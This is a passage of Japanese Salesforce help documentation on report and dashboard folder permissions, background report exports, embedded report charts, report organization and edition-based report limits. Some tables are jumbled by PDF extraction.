共有フォルダで自分が作成したダッシュボー
ドを編集、移動、保存、削除します。

私のダッシュボードを編集

共有フォルダで自分が作成したレポートを編
集、移動、保存、削除します。

私のレポートを編集

ダッシュボードを作成、編集、削除1し、その
共有をすべての公開ダッシュボードフォルダ

公開フォルダのダッシュボード
を管理

で管理します。これには他のユーザの個人フォ
ルダは含まれません。この権限を持つユーザ
は、非表示のフォルダも含め、すべてのフォ
ルダでダッシュボードを編集および共有でき
ます。また、その権限も取得できます。
• ダッシュボードの作成とカスタマイズ
• ダッシュボードフォルダを作成
• 私のダッシュボードを編集
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• 公開フォルダのダッシュボードを参照
(1 動的ダッシュボードを編集するには、[動的ダッシュボードの
管理]および[私のチームのダッシュボードの参照]も必要です。)

レポートを作成、編集、削除し、その共有をすべての公開レ
ポートフォルダで管理します。これには他のユーザの個人フォ

公開フォルダのレポートを管理

ルダは含まれません。この権限を持つユーザは、非表示のフォ
ルダも含め、すべてのフォルダでレポートを編集および共有で
きます。また、その権限も取得できます。
• レポートの作成とカスタマイズ
• レポートフォルダを作成
• 私のレポートを編集
• 公開フォルダのレポートを参照

公開ダッシュボードフォルダでダッシュボードを参照します。
これには他のユーザの個人フォルダは含まれません。

公開フォルダのダッシュボードを参照

公開レポートフォルダでレポートを参照します。これには他の
ユーザの個人フォルダは含まれません。

公開フォルダのレポートを参照

関連トピック:

レポートフォルダまたはダッシュボードフォルダの共有
レポートおよびダッシュボードフォルダのアクセス権の比較

レポートの配信
レポートの情報を、それを必要とする人々に伝えるために、レポートの URL を共有し、Chatter フィードでレ
ポートを使用できるようにしたり、データを Excel などの別個のツールにエクスポートしたりできます。また、
利用者が常に最新の情報を入手できるように、スケジュールに従ってレポートを実行するように設定できま
す。
システム管理者、または「公開レポートの管理」権限および「レポートの作成とカスタマイズ」権限を持つ
ユーザは、すべてのユーザが表示できるカスタムレポートを作成できます。カスタムレポートフォルダを作成
したり、各フォルダにアクセスできるユーザグループを設定したりして、レポートを整理することもできま
す。
レポートを公開するには、レポートを実行し、[別名で保存]をクリックします。レポート名を指定し、公開レ
ポートフォルダを選択します。
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1. バックグラウンドでのレポートの実行
大規模なレポートをバックグラウンドで実行すると、結果が表示されるのを待たずに Salesforce で作業を続
行できます。これは、レポートの結果が多いことが原因でタイムアウトになる可能性のある、データ量の
多いレポートを実行する場合に適しています。

関連トピック:

レポートのエクスポート
レポートの更新のスケジュール設定
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バックグラウンドでのレポートの実行

エディション

使用可能なエディション:
Salesforce Classic

使用可能なエディション:
Database.com Edition を除
くすべてのエディション

ユーザ権限

バックグラウンドにレ
ポートをエクスポートす
る
• 「レポートのバックグ

ラウンドエクスポー
ト」

他のユーザによってバッ
クグランドにエクスポー
トされたレポートを参照
する
• 「レポートのバックグ

ラウンドエクスポー
ト」

および

「すべてのデータの参
照」

他のユーザによってバッ
クグラウンドにエクス
ポートされたレポートを
管理する
• 「レポートのバックグ

ラウンドエクスポー
ト」

および

「すべてのデータの編
集」

大規模なレポートをバックグラウンドで実行すると、結果が表示されるのを待
たずに Salesforce で作業を続行できます。これは、レポートの結果が多いことが
原因でタイムアウトになる可能性のある、データ量の多いレポートを実行する
場合に適しています。
レポートのバックグラウンドエクスポートは、一度に 1 つずつ、連続して実行
されます。そのため、レポートの最終バックグラウンドエクスポートは、前の
レポートのバックグラウンドエクスポートがすべて終了してから実行されます。
バックグラウンドにエクスポートできるレポート数に制限はありません。

1. バックグラウンドで実行するためのレポートのエクスポート
レポートをバックグラウンドで実行するように設定するには、特殊な方法で
レポートをエクスポートする必要があります。

2. バックグラウンドのレポートの表示および管理
レポートをバックグラウンドで実行するように設定したら、レポートのバッ
クグラウンドエクスポート一覧からレポートを表示および管理できます。

関連トピック:

レポート実行ページ
アクセシビリティモードでのカスタムレポートの作成
レポートの作成
レポートのカスタマイズ
レポート実行ページオプション
レポートのエクスポート
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バックグラウンドで実行するためのレポートのエクスポート

エディション

使用可能なエディション:
Salesforce Classic

使用可能なエディション:
Database.com Edition を除
くすべてのエディション

ユーザ権限

バックグラウンドにレ
ポートをエクスポートす
る
• 「レポートのバックグ

ラウンドエクスポー
ト」

他のユーザによってバッ
クグランドにエクスポー
トされたレポートを参照
する
• 「レポートのバックグ

ラウンドエクスポー
ト」

および

「すべてのデータの参
照」

他のユーザによってバッ
クグラウンドにエクス
ポートされたレポートを
管理する
• 「レポートのバックグ

ラウンドエクスポー
ト」

および

「すべてのデータの編
集」

レポートをバックグラウンドで実行するように設定するには、特殊な方法でレ
ポートをエクスポートする必要があります。
1. レポートを作成または実行します。
2. [詳細のエクスポート] をクリックして、ドロップダウンボタンから [エクス

ポートをバックグラウンドで実行] を選択します。

ヒント: 既存のレポートを実行する場合、このボタンをクリックする
と、レポートの結果が表示されるのを待たずに済みます。

3. ファイルの文字コード設定およびレポートをエクスポートするときのファイ
ル形式を選択します。

4. レポートパラメータの保存方法を選択します。
• エクスポートする前にレポートに加えたパラメータ変更を保存するには、

[修正を保存] をクリックします。このオプションを選択すると、元のレ
ポートのパラメータが上書きされます。

• エクスポートする前に新しいレポートを作成するには、[修正をコピーし
て保存]をクリックします。このオプションを選択する場合は、レポート
の名前と説明を入力し、レポートパラメータを保存するレポートフォル
ダを選択してください。

メモ: パラメータのみが保存され、結果は保存されません。レポートの
結果を表示するには、レポートのバックグラウンドエクスポート一覧か
らレポート詳細を表示する必要があります。

5. [バックグラウンドでエクスポートを開始] をクリックします。
レポートの実行が終了し、レポートの結果を表示する準備が整うと、レポート
の詳細へのリンクがメールで送信されます。レポートのエクスポート一覧から
レポートの結果をダウンロードできます。ダウンロードできるのは、参照権限
を持つデータのみです。

メモ: カンマを使用しない地域の場合は、タブまたはその他の区切り文字
を使用します。データローダの設定 ([設定] | [設定]) で区切り文字を指定し
ます。

レポートのバックグラウンドエクスポートに失敗した場合は、メール通知が送
信されます。レポートのバックグラウンドエクスポートは、さまざまな理由で
実行できない場合があります。たとえば、レポートをエクスポートしてからエ
クスポートプロセスが開始されるまでの間に、レポートから項目が削除された
り、レポートが削除されたり、カスタムレポートタイプの状況がレポート作成
時の状況から [開発中] に変更されたりした場合です。

バックグラウンドのレポートの表示および管理
レポートをバックグラウンドで実行するように設定したら、レポートのバックグラウンドエクスポート一覧か
らレポートを表示および管理できます。
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1. [設定] から、[クイック検索] ボックスに「レポートのバックグラウンドエクスポート」と入力し、[レポート
のバックグラウンドエクスポート] を選択します。
レポートのバックグラウンドエクスポート一覧が表示されます。

2. [ジョブ名] 列のレポート名をクリックして、バックグラウンドにエクスポートされたレポートの詳細 (レ
ポートの名前、状況、場所など) を表示します。

メモ: セキュリティ上の理由から、Salesforceは組織からデータをエクスポートするときに CAPTCHA ユー
ザ認証テストを要求することがあります。簡単なテキスト入力型のテストで、悪意のあるプログラム
による組織のデータへのアクセスを回避します。このテストに合格するには、表示された 2 語をフロー
ト表示のテキストボックスに正確に入力する必要があります。テキストボックスに入力する語は、ス
ペースで区切る必要があります。

3. 待機中のエクスポートをキャンセルしたり、レポートのバックグラウンドエクスポート一覧からレポート
を削除したりするには、レポート名の横にある [キャンセル] または [削除] をクリックします。
レポートのバックグラウンドエクスポートの実行が終了すると、レポートのバックグラウンドエクスポー
ト一覧で 48 時間分のレポートを参照できます。レポートは、48 時間を過ぎると自動的に削除されます。

重要: レポートのバックグラウンドエクスポート一覧から削除されたレポートは、ごみ箱には格納さ
れず、完全に削除されます。

4. レポートのバックグラウンドエクスポート一覧の表示後にバックグラウンドにエクスポートされたレポー
トを表示するには、[リストを更新] をクリックします。

埋め込まれたレポートグラフ
通常、ユーザは [レポート] タブに移動して、データを見つける必要があります。ただし、頻繁にアクセスする
ページで、貴重な情報をユーザに直接提供することもできます。そのためには、オブジェクトの詳細ページに
レポートグラフを埋め込みます。ページにグラフが表示されると、ユーザは他の場所にアクセスすることな
く、ページのコンテキストで表示されるデータに基づいて意思決定を行うことができます。たとえば、商談レ
コードでは、重要なデータが詳細ページに直接表示されます。
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1. 取引先ページのレポートグラフの例
次の例では、パイプラインにおける商談と取引先の未解決のサポートケースを示す 2 つのレポートグラフ
が、重要な取引先ページに埋め込まれています。アカウントエグゼクティブは、取引先の活動と健全度を
グラフからすばやく把握できます。

2. ページレイアウトへのレポートグラフの追加
オブジェクトページにレポートグラフを埋め込むには、高度なページレイアウトエディタを使用してオブ
ジェクトのページレイアウトを編集してから、グラフを追加します。

3. ページレイアウトでのレポートグラフのカスタマイズ
レポートグラフをページに追加した後、ページレイアウトエディタの [グラフのプロパティ] ダイアログボッ
クスでレポートグラフをカスタマイズできます。

4. ページのレポートグラフに関する制限
詳細ページにグラフを埋め込む場合は、次の制限を考慮してください。

取引先ページのレポートグラフの例

エディション

使用可能なエディション:
Salesforce Classic

使用可能なエディション:
Database.com Edition を除
くすべてのエディション

次の例では、パイプラインにおける商談と取引先の未解決のサポートケースを
示す 2 つのレポートグラフが、重要な取引先ページに埋め込まれています。ア
カウントエグゼクティブは、取引先の活動と健全度をグラフからすばやく把握
できます。
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取引先ページのレポートグラフ

1. パイプライングラフには、成立した 2 つの商談を含む、さまざまなフェーズの取引先の商談が表示されて
います。アカウントエグゼクティブは、グラフにマウスポインタを置いて、各商談の値を表示できます
(ソースレポートグラフでフロート表示が有効になっていると、値が強調表示されます)。グラフをクリック
し、レポートに移動して、これらの商談の詳細を表示できます。

2. オープンケースのグラフから、取引先に未解決のサポート問題が 2 つあることがわかります。グラフをク
リックし、ケースの詳細レポートにドリルダウンして、クライアントとの重要な会議の前に、サポートエ
ンジニアと共にこれらの問題の解決に努めることができます。

5022

レポート分析



ページレイアウトへのレポートグラフの追加

エディション

使用可能なエディション:
Salesforce Classic

使用可能なエディション:
Database.com Edition を除
くすべてのエディション

ユーザ権限

ページレイアウトを参照
する
• 「設定・定義を参照す

る」

ページレイアウトを編集
する
• 「アプリケーションの

カスタマイズ」

オブジェクトページにレポートグラフを埋め込むには、高度なページレイアウ
トエディタを使用してオブジェクトのページレイアウトを編集してから、グラ
フを追加します。
グラフを追加する前に、次の点を確認します。
• アクセスする必要があるユーザと共有するフォルダにソースレポートがあ

る。個人レポートフォルダにあるレポートは、ページに追加できません。
• ソースレポート形式がサマリーまたはマトリックスである。
• ソースレポートにグラフがある。
1. グラフを追加するオブジェクトのページレイアウトエディタに移動します。
2. ページレイアウトの横にある [編集] をクリックします。
3. [レポートグラフ] をクリックします。

4. [クイック検索] ボックスにレポート名を入力し、 をクリックしてレポートグラフを検索および選択しま
す。
[レポートグラフ] パレットで、グラフの種類別に最近参照した 200 個までのレポートを参照できます。

5. レイアウトの新規または既存のセクションにグラフをドラッグします。
6. グラフで をクリックしてカスタマイズします。
7. [保存] をクリックします。
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[指定した形式でプレビュー] オプションは、レポートグラフには使用できません。

関連トピック:

ページレイアウトでのレポートグラフのカスタマイズ
取引先ページのレポートグラフの例
ページのレポートグラフに関する制限
オブジェクト管理設定の検索
ページレイアウト
ページレイアウト

ページレイアウトでのレポートグラフのカスタマイズ

エディション

使用可能なエディション:
Salesforce Classic

使用可能なエディション:
Database.com Edition を除
くすべてのエディション

ユーザ権限

ページレイアウトを参照
する
• 「設定・定義を参照す

る」

ページレイアウトを編集
する
• 「アプリケーションの

カスタマイズ」

レポートグラフをページに追加した後、ページレイアウトエディタの [グラフの
プロパティ] ダイアログボックスでレポートグラフをカスタマイズできます。

1. エラーを含むレポートグラフの非表示
グラフには、何らかの理由でデータの代わりに詳細ページにエラーが表示さ
れることがあります。エラーを含むグラフは役に立たないため、閲覧者に対
して非表示にするオプションがあります。

2. ページに関係するデータを表示するためのレポートグラフの絞り込み
通常、グラフは絞り込まれ、取引先レコードの取引先 ID など、レコードに一
致する ID 項目がグラフのレポートタイプに存在する場合に、関連データが表
示されます。グラフには、データが絞り込まれずに表示されることもありま
す。ただし、一致する ID 項目のルックアップがレポートタイプに存在する場
合は、グラフを絞り込み可能に設定できます。

3. レポートグラフデータの更新
通常、グラフデータは 24 時間ごとに更新されます。しかし、グラフが含まれ
るページを開くたびに更新されるように変更することもできます。更新オプ
ションは、ページレイアウトエディタの [グラフのプロパティ] ダイアログ
ボックスにあります。ただし、オプションを選択すると、更新制限にすぐに
達したり、更新が完了するまでグラフデータの表示を待機する必要があるた
め、毎日の更新をお勧めします。

エラーを含むレポートグラフの非表示
グラフには、何らかの理由でデータの代わりに詳細ページにエラーが表示されることがあります。エラーを含
むグラフは役に立たないため、閲覧者に対して非表示にするオプションがあります。
このようなグラフを非表示にするには、ページレイアウトエディタの [グラフのプロパティ] ダイアログボック
スで [エラーのあるグラフを非表示] を選択します。
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次の 1 つ以上の理由により、グラフにエラーが表示されることがあります。
• 閲覧者が、絞り込みに使用される項目へのアクセス権を持っていない。
• 閲覧者が、レポートフォルダへのアクセス権を持っていない。
• レポートグラフがレポートから削除された。
• レポート定義が変更された。
• レポート自体が使用できなくなった。

ページに関係するデータを表示するためのレポートグラフの絞り込み
通常、グラフは絞り込まれ、取引先レコードの取引先 ID など、レコードに一致する ID 項目がグラフのレポー
トタイプに存在する場合に、関連データが表示されます。グラフには、データが絞り込まれずに表示されるこ
ともあります。ただし、一致する ID 項目のルックアップがレポートタイプに存在する場合は、グラフを絞り
込み可能に設定できます。

グラフを絞り込み可能にする
レコードに一致する ID 項目がグラフのレポートタイプに存在しない場合、グラフは絞り込まれません。代わ
りに、すべてのデータが表示されます。
オープンケースのレポートグラフには、取引先レコードのすべての取引先に関する情報が表示されます。グラ
フを絞り込み可能にするには、グラフのケースカスタムレポートタイプのレイアウトを編集し、ルックアップ
を使用して [取引先 ID] 項目を追加します。これで、取引先レコードを参照するときに、グラフが絞り込ま
れるようになります。

関連する絞り込みの選択
絞り込みに使用できる ID 項目が複数ある場合、グラフにデータがまったく表示されないことがあります。こ
のような場合には、[グラフのプロパティ] ダイアログボックスの [絞り込み条件]ドロップダウンで、最も関連
性の高い ID 項目を選択します。取引先レコードの進行中の商談に関するグラフは [パートナー取引先 ID] で
絞り込まれますが、これはあまり効果的ではありません。ただし、グラフのプロパティを編集し、ドロップダ
ウンから [取引先 ID] を選択して、取引先レコードで絞り込むことができます。
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メモ: ソースレポートの項目の絞り込み数が上限である 20 件に達すると、グラフで関連データの絞り込
みができなくなります。

レポートグラフデータの更新
通常、グラフデータは 24 時間ごとに更新されます。しかし、グラフが含まれるページを開くたびに更新され
るように変更することもできます。更新オプションは、ページレイアウトエディタの [グラフのプロパティ] ダ
イアログボックスにあります。ただし、オプションを選択すると、更新制限にすぐに達したり、更新が完了す
るまでグラフデータの表示を待機する必要があるため、毎日の更新をお勧めします。

毎日の更新
グラフデータは 24 時間ごとに更新されます。その期間内で最新のデータが必要な場合は、グラフで [更新] を
クリックします。

ユーザがページを開いたときに更新
グラフの通常の更新を変更するには、ページレイアウトエディタの [グラフのプロパティ] ダイアログボックス
で[ユーザがページを開くたびに更新]を選択します。このオプションでは、グラフが含まれるページを開くた
びにグラフの更新がトリガされます。次の 2 つの理由により、このオプションの選択は推奨されません。
• グラフの更新制限に早く達してしまう危険性がある。更新数は、ユーザおよび組織ごとに時間あたりの制

限にカウントされます。
• 実行所要時間が長いレポートでこのオプションを選択すると、グラフデータが表示されるまで待機しなけ

ればならないことがある。
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ページのレポートグラフに関する制限

エディション

使用可能なエディション:
Salesforce Classic

使用可能なエディション:
Database.com Edition を除
くすべてのエディション

詳細ページにグラフを埋め込む場合は、次の制限を考慮してください。
• ページあたり 2 つのレポートグラフを使用できます。
• 高度なページレイアウトエディタからのみレポートグラフを追加できます。

ミニコンソールおよび従来のページレイアウトエディタはサポートされてい
ません。

• ユーザは、詳細ページで 60 分ごとに 100 個までのレポートグラフを更新でき
ます。

• 組織は、60 分ごとに 3,000 個までのレポートグラフを更新できます。

関連トピック:

ページレイアウトへのレポートグラフの追加
取引先ページのレポートグラフの例

レポートの整理

エディション

使用可能なエディション:
Salesforce Classic および
Lightning Experience の両方

使用可能なエディション:
Database.com Edition を除
くすべてのエディション

レポートを簡単に使用できる状態に保つには、レポートをフォルダに分類し、
使用しないレポートを削除します。レポートが多数ある場合、検索項目を使用
して必要なレポートを検索できます。

1. レポートの検索
レポートを名前、説明、作成者、最終更新者で検索します。結果を絞り込む
には、選択したフォルダ内で条件設定、並び替え、検索を行います。

2. [レポート] タブのリストビューからの必要な情報の取得
レポートに関して表示する必要のある情報を表示するため、列のサイズ変
更、非表示、順序変更、並び替えを行い、[レポート] タブのリストビューに
表示するレコード数を選択することができます。

3. レポートの印刷
ブラウザの印刷機能を使って、レポートの実行ページからレポートを印刷します。

4. お気に入りのレポートフォルダの固定表示
必要なときに毎回下にスクロールしなくてすむように、最も使用するレポートフォルダやダッシュボード
フォルダをフォルダリストの上部に固定します。

5. 未使用レポートタイプの非表示
ユーザが使用可能な標準レポートタイプのサブセットのみを使用している場合、必要のないレポートタイ
プを非表示にすることができます。

6. レポートまたはダッシュボードのフォルダ間移動
レポートおよびダッシュボードは、それらの機能と利用者を反映しているフォルダに整理して保持するこ
とをお勧めします。レポートおよびダッシュボードは、フォルダ間でドラッグアンドドロップすることが
できます。
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7. レポートの削除
選択したレポートを [レポート] タブまたはその実行ページから削除できます。

レポートの検索

エディション

使用可能なエディション:
Salesforce Classic および
Lightning Experience の両方

使用可能なエディション:
Group Edition、
Professional Edition、
Enterprise Edition、
Performance Edition、
Unlimited Edition、および
Developer Edition

ユーザ権限

レポートを検索する
• 「レポート実行」

ダッシュボードを検索す
る
• 「レポート実行」と

ダッシュボードフォル
ダへのアクセス権

レポートを名前、説明、作成者、最終更新者で検索します。結果を絞り込むに
は、選択したフォルダ内で条件設定、並び替え、検索を行います。
1. [レポート] タブで、検索ボックスに入力します。

検索はすべてのフォルダで実行されます。条件は、フォルダのすべてのコン
テンツを表示するように、[すべての項目] および [すべてのタイプ] に設定
されています。
Salesforceでは次の項目を検索します: [名前]、[説明]、[最終更新者]、または [作
成者]。結果は、これらの項目を使った入力の完全一致に基づきます。
タグ付けが有効になっており、カスタムレポートまたはダッシュボードに追
加されている場合、グローバル検索ボックスでタグによって検索します。

2. 結果を絞り込むには、次のオプションを使用します。

手順結果の絞り込み
基準

条件を選択します。種別
• レポート
• ダッシュボード
• すべてのタイプ
タイプ条件は、標準レポートフォルダのレポートテンプ
レートには適用されません。

条件を選択します。ビュー
• すべての項目
• 最近参照したデータ
• 自分が作成した項目
• 自分がフォローしている項目
条件を表示します。

フォルダを選択して、検索ボックスに入力します。選択済みフォル
ダ 条件は、フォルダのすべてのコンテンツを表示するよう

に、[すべての項目]および [すべてのタイプ]に設定され
ています。
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手順結果の絞り込み基準

列の をクリックし、[昇順に並び替え] または [降順に並び替え] を選択しま
す。並び替えは、後続ページにある項目を含む、リストビューのすべての項目
に適用されます。

並び替え

関連トピック:

ダッシュボードによる複雑な情報の視覚化
ダッシュボードの使用開始

[レポート] タブのリストビューからの必要な情報の取得

エディション

使用可能なエディション:
Salesforce Classic

使用可能なエディション:
Database.com Edition を除
くすべてのエディション

ユーザ権限

[レポート] タブを参照する
• 「レポート実行」

レポートに関して表示する必要のある情報を表示するため、列のサイズ変更、
非表示、順序変更、並び替えを行い、[レポート] タブのリストビューに表示する
レコード数を選択することができます。
• リストビューは次のようにカスタマイズします。

説明オプション

列の右端をクリックして適切なサイズになるまでド
ラッグします。

列をサイズ変更する

任意の列で [ ] > [列] をクリックし、非表示にする
列の選択を解除します。

列を非表示にする

列を表示する位置にドラッグします。列を順序変更する

列の をクリックし、[昇順に並び替え] または [降
順に並び替え]を選択します。並び替えは、後続ペー

列を並び替える

ジにある項目を含む、リストビューのすべての項目
に適用されます。

リストの左下隅にある をクリックし、必要な設
定を選択します。一度に表示できるレコード数は、

1 ページに表示する
レコード数を変更す
る 10 件、25 件、50 件、100 件、または 200 件です。この

設定を変更すると、リスト結果の最初のページを表
示します。
ただし、設定後は、リストの最後まで同じ数ずつレ
コードが表示されます。[レポート] タブのレコード表
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説明オプション

示設定は、Salesforce の他のリストビューには影響を与えません。

関連トピック:

レポートによるデータへのアクセス

レポートの印刷

エディション

使用可能なエディション:
Salesforce Classic

使用可能なエディション:
Database.com Edition を除
くすべてのエディション

ユーザ権限

レポートを印刷する
• 「レポート実行」およ

び「レポートのエクス
ポート」

ブラウザの印刷機能を使って、レポートの実行ページからレポートを印刷しま
す。
• レポートの実行ページで [印刷用に表示] をクリックします。
• ブラウザのダイアログで、次のいずれかを行います。

– ブラウザでレポートを開き、ブラウザの印刷機能を使用します。
– ファイルを Excel で保存し、Excel の印刷オプションを使用します。

関連トピック:

レポートのエクスポート

お気に入りのレポートフォルダの固定表示

エディション

使用可能なエディション:
Salesforce Classic

使用可能なエディション:
すべてのエディション

必要なときに毎回下にスクロールしなくてすむように、最も使用するレポート
フォルダやダッシュボードフォルダをフォルダリストの上部に固定します。
1. レポートフォルダやダッシュボードフォルダのリストで、任意のフォルダに

マウスポインタを置き、 をクリックします。
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2. [最上部に固定] を選択します。
フォルダがフォルダリストの上部に移動します。

新たに固定した各フォルダは、リストの上部 (すでに固定してあるフォルダの上) に移動します。固定された
フォルダを上部に移動するには、再度固定します。

未使用レポートタイプの非表示

エディション

使用可能なエディション:
Salesforce Classic および
Lightning Experience の両方

使用可能なエディション:
Group Edition、
Professional Edition、
Enterprise Edition、
Performance Edition、
Unlimited Edition、および
Developer Edition

ユーザ権限

未使用レポートを非表示
にする
• 「カスタムレポートタ

イプの管理」

ユーザが使用可能な標準レポートタイプのサブセットのみを使用している場合、
必要のないレポートタイプを非表示にすることができます。
1. [レポート] タブで、[新規レポート] をクリックします。
2. [非表示にするレポートタイプを選択] を選択します。

レポートの横にある緑のチェックマークは、それが全員に表示されることを
示します。

3. レポートタイプを非表示にするには、チェックマークをクリックして [X] に
変更します。

[新規レポートを作成] ページで検索ボックスを使用するときに、非表示のレポートタイプは表示されません。
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フォルダ内のすべてのレポートタイプを非表示にすると、フォルダも非表示になります。ただし、後で [非表
示にするレポートタイプを選択] ダイアログボックスでレポートタイプを再表示すれば、ユーザはフォルダを
参照できるようになります。

レポートまたはダッシュボードのフォルダ間移動

エディション

使用可能なエディション:
Salesforce Classic

使用可能なエディション:
Database.com Edition を除
くすべてのエディション

ユーザ権限

[レポート] タブを参照する
• 「レポート実行」

レポートおよびダッシュボードは、それらの機能と利用者を反映しているフォ
ルダに整理して保持することをお勧めします。レポートおよびダッシュボード
は、フォルダ間でドラッグアンドドロップすることができます。

メモ: 項目をフォルダ間で移動する前に、フォルダへのアクセス権を編集
する必要があります。ドラッグアンドドロップによる項目の移動はアクセ
シビリティモードではサポートされていません。

フォルダ間でレポートまたはダッシュボードを移動するには、リストビューか
ら [フォルダ] ペインのレポートフォルダまたはダッシュボードフォルダにドラッ
グします。
1. [レポート] タブのリストビューで、項目をクリックして保持します。
2. 項目を [フォルダ] ペインの移動先フォルダにドラッグします。

フォルダ間で項目をドラッグするとき、緑のチェックマーク (1) は、項目を
選択したフォルダに移動可能であることを示します。反対に、赤いアイコン ( ) は、項目を選択したフォ
ルダに移動できないことを示します。
項目を移動するときには、次の点に留意してください。
• 項目は一度に 1 つずつドラッグします。
• インストール済み AppExchange パッケージまたは標準レポートフォルダから他のフォルダに項目を移動

することはできません。
• レポートはレポートフォルダに、ダッシュボードはダッシュボードフォルダに移動します。
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レポートの削除

エディション

使用可能なエディション:
Salesforce Classic および
Lightning Experience の両方

使用可能なエディション:
Group Edition、
Professional Edition、
Enterprise Edition、
Performance Edition、
Unlimited Edition、および
Developer Edition

ユーザ権限

[私の非公開カスタムレ
ポート] フォルダのレポー
トを削除する
• 「レポートの作成とカ

スタマイズ」

公開フォルダのレポート
を削除する
• 「公開レポートの管

理」

選択したレポートを [レポート] タブまたはその実行ページから削除できます。
1. 次のいずれかの方法でレポートを削除します。

説明オプション

レポートの隣にある [ ] > [削除]を
クリックします。

[レポート] タブから削除するには、

[削除] をクリックします。レポートの実行ページから削除するに
は、

2. [OK] をクリックします。
削除したレポートは、ごみ箱に移動されます。その他の個人用フォルダにあ
るレポートは削除できません。また、ダッシュボードコンポーネントまたは
レポート作成スナップショットを削除する前に、ダッシュボードコンポーネ
ントまたはレポート作成スナップショットで使用されているレポートを削除
することはできません。

関連トピック:

レポート実行ページ

レポート制限

エディション

使用可能なエディション:
Salesforce Classic および
Lightning Experience の両方

使用可能なエディション:
Database.com Edition を除
くすべてのエディション

データのレポートを作成する場合、次の制限と制約に注意してください。

Salesforce レポートおよびダッシュボードの制限

Developer
Edition

Unlimited
Edition
と
Performance
Edition

Enterprise
Edition

Professional
Edition

Group
Edition

Contact
Manager

Personal
Edition

機能

4002,00020050なし

カスタムレポー
トタイプ
(制限は、開発状
況に関係なく、
すべてのカスタ
ムレポートタイ
プに適用される)
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Developer
Edition

Unlimited
Edition と
Performance
Edition

Enterprise
Edition

Professional
Edition

Group
Edition

Contact
Manager

Personal
Edition

機能

1 ダッシュボードにつき 3 個ダッシュボード検索条
件

最大 3 個最大 10 個最大 5 個なし1 組織あたりの動的
ダッシュボード数

20レポートあたりの項目
検索条件数1

5レポートあたりの数式
12、 3、 4221212、 3、 4

なしレポート作成スナップ
ショット

なし2212なしダッシュボードの更新
のスケジュール設定

12、 3、 5221212、 3、 5なし

時間あたりのスケ
ジュール済みレポート
(メール送信するレポー
トの容量は最大 10

MB)。

1 これらの制限はレポートビルダーに適用されます。レポートウィザードを使用している場合、制限は 10 で
す。
2 合計で最大 200 まで。
3 オフピーク時 (ローカル時間の午後 6 時～午前 3 時) のみ。
4 希望開始時刻は 1 日 1 つに制限されます。
5 希望開始時刻は 1 日 3 つに制限されます。
Salesforce では、過去 3 か月と今月の履歴データが保持されます。
すべてのサポート対象のエディションには、Salesforce レポートおよびダッシュボードについて次の制限が適用
されます。
レポート制限

• レポートビルダープレビューでは、サマリーおよびマトリックスレポートでは最大 20 行および表形式
では最大 50 行を表示します。

• グラフには、250 を超えるグループまたは 4,000 を超える値を含めることはできません。グラフに描画す
るグループまたは値が多すぎるというエラーメッセージが表示された場合は、レポート検索条件を調整
して、数を減らしてください。組み合わせグラフでは、すべてのグループおよび値が合計のカウント対
象となります。
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• レポートでは、最大 2,000 行を表示します。すべての行を表示するには、Excel にレポートをエクスポー
トするか、表形式レポートおよびサマリーレポート用の印刷用ビューを使用します。結合レポートで
は、エクスポートは使用できず、印刷用ビューには最大 20,000 行を表示します。
– [詳細の表示] が無効な場合、サマリーおよびマトリックスレポートでは、最初の 2,000 個のグルーピ

ングが表示されます。
– マトリックスレポートでは、最大 400,000 個の集計値を表示します。
– [詳細の表示] が無効な場合、マトリックスレポートでは、横軸に最大 2,000 個のグルーピングを表示

します。400,000 個を超える集計値がある場合は、2,000 個のグルーピングの制限を満たすまで行が削
除され、集計値の数が 400,000 個を下回るまで列が削除されます。

– 2,000 を超える行を返すマトリックスレポートに詳細は表示されません。[詳細を表示] をクリックし
ても、何も起こりません。詳細を非表示にしたレポートのみを表示できます。

• 最大 5 個の総計値が Lightning Experience のレポートヘッダーに表示されます。総計値 (集計項目など) は、
レポートに表示される順番 (左から右) で表示されます。総計 (表示する場合) は常に表示されます。

• グルーピングがあるレポートを Salesforce1 で表示すると、表形式レポートに変換されます。
• デフォルトでは、レポートは 10 分後にタイムアウトします。
• 結合レポートでは、ブロックごとに最大 100 列を設定できます。結合レポートには、最大 5 ブロックを

設定できます。
• 結合レポートの各ブロックには最大 10 個のカスタム集計項目を追加できます。結合レポートには、合

計 50 個のカスタム集計項目を含めることができます。
• 結合レポートごとに最大 10 個のクロスブロックカスタム集計項目を設定できます。
• [説明] や [ソリューション詳細] など、標準ロングテキストエリア項目で絞り込む場合は、項目の先頭の

1000 文字だけが検索に使用されます。
• レポートには、リッチテキストエリアまたはロングテキストエリアの最初の 254 文字のみが表示されま

す。
• 表形式レポート、サマリーレポート、およびマトリックスレポートの集計項目では、最大 21 桁まで表

示できます。
• カスタムロングテキストエリア項目でレポートを絞り込むことはできません。
• 結合レポートでは、新しいユーザインターフェースのテーマが有効化されている必要があります。新し

いテーマのないユーザは、結合レポートの作成、編集、実行ができません。
• 売上予測レポートには、売上予測期間内に完了するように設定されている商談のみが表示されます。た

だし、売上予測分類として「売上予測から除外」に割り当てられている商談を除きます。
• Internet Explorer 6 は、結合レポートではサポートされていません。
• 値の許容範囲: 許容される最大値は、999999999999999 です。許容される最小値は、-99999999999999 です。

ダッシュボードの制限
• ダッシュボード検索条件には、最大 50 個のオプションを設定できます。デフォルトでは、10 個のオプ

ションが有効になっています。制限を引き上げる場合は、Salesforce にお問い合わせください。
• 各ダッシュボードには、最大 20 個のコンポーネントを持たせることができます。
• バケット項目を検索条件にした絞り込みはできません。ただし、ダッシュボードページのバケット項目

で絞り込んだレポートを使用することは可能です。
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• ダッシュボードのテーブルまたはグラフは、最大 20 個の写真を表示できます。
• ダッシュボードを更新するときは、少なくとも 1 分間待機する必要があります。

レポートタイプの制限
• カスタムレポートタイプには、最大 60 個のオブジェクト参照を含めることができます。たとえば、4 つ

のレポートタイプのオブジェクトリレーションの最大限度を選択すると、参照によりその他に 56 オブ
ジェクトから項目を選択できることになります。ただし、カスタムレポートタイプでレポートを実行し
ているときに、そのレポートに 20 を超えるオブジェクトの列が含まれている場合は、エラーメッセー
ジが表示されます。

• カスタムレポートタイプには、それぞれ最大 1000 項目まで追加できます。
レポート作成スナップショットの制限

• カスタムオブジェクトに挿入できる行の最大数は、2,000 個です。
• 格納できる実行の最大数は、200 個です。
• 対象項目に対応付けできるソースレポートの列の最大数は、100 個です。

検索条件の制限
カスタムテキスト項目の最初の 255 文字のみが、検索条件のためにカウントされます。

埋め込まれたレポートグラフの制限
• ページあたり 2 つのレポートグラフを使用できます。
• 高度なページレイアウトエディタからのみレポートグラフを追加できます。ミニコンソールおよび従来

